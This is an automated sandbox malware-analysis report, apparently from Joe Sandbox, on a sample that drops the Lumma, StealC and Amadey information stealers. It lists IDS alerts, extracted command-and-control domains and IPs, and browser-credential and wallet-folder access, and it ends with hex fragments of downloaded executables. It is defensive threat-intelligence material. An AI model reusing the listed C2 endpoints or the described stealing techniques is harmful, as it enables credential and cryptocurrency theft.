2024-12-23T06:54:30.331465+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:36.019203+0100	2803304	3	Unknown Traffic	192.168.2.6	49927	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:14.634743+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49707	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: uLkHEqZ3u3.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000013.00000002.3377458420.0000000000221000.00000040.00000001.01000000.00000011.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.2224.5.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: uLkHEqZ3u3.exe.5584.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "necklacebudi.lat", "crosshuaht.lat", "discokeyus.lat", "grannyejh.lat", "sustainskelet.lat", "rapeflowwj.lat", "energyaffai.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: uLkHEqZ3u3.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\install1[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: uLkHEqZ3u3.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9EA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	5_2_6C9EA9A0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9E44C0 PK11_PubEncrypt,	5_2_6C9E44C0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9B4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	5_2_6C9B4420
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9E4440 PK11_PrivDecrypt,	5_2_6C9E4440
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA325B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	5_2_6CA325B0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9CE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	5_2_6C9CE6E0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9EA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	5_2_6C9EA650
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9C8670 PK11_ExportEncryptedPrivKeyInfo,	5_2_6C9C8670
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA0A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	5_2_6CA0A730
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA10180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	5_2_6CA10180
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9E43B0 PK11_PubEncryptPKCS1,PR_SetError,	5_2_6C9E43B0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA07C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	5_2_6CA07C00
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA0BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	5_2_6CA0BD30
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9C7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	5_2_6C9C7D60
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA09EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	5_2_6CA09EC0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9E3FF0 PK11_PrivDecryptPKCS1,	5_2_6C9E3FF0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9E3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	5_2_6C9E3850
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9E9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	5_2_6C9E9840
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA0DA40 SEC_PKCS7ContentIsEncrypted,	5_2_6CA0DA40

Source: uLkHEqZ3u3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 16.182.37.145:443 -> 192.168.2.6:50016 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085451057.000000006FCDD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: nss3.pdb@ source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.5.dr, softokn3[1].dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.5.dr, vcruntime140.dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.5.dr, msvcp140[1].dll.5.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DZKPIL2C5DR0YB6M.exe, 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: nss3.pdb source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: mozglue.pdb source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085451057.000000006FCDD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.5.dr, softokn3[1].dll.5.dr

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.6:57521 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:59602 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.6:54311 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.6:55965 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.6:62470 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.6:57925 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.6:57547 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.6:56490 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:57304 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49793 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49793 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49793
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49793 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49793
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49793 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49996 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50004
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49710 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49707 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49719 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49752 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 05:53:35 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Mon, 23 Dec 2024 05:10:39 GMTConnection: keep-aliveETag: "6768f0cf-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 75 6a 75 6a 70 6c 64 00 80 2a 00 00 a0 00 00 00 66 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 69 68 6c 73 78 75 00 20 00 00 00 20 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 05:53:40 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 05:12:34 GMTConnection: keep-aliveETag: "6768f142-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 9d b5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 6b 6d 6a 6d 6d 76 74 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 70 73 68 62 79 6b 76 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
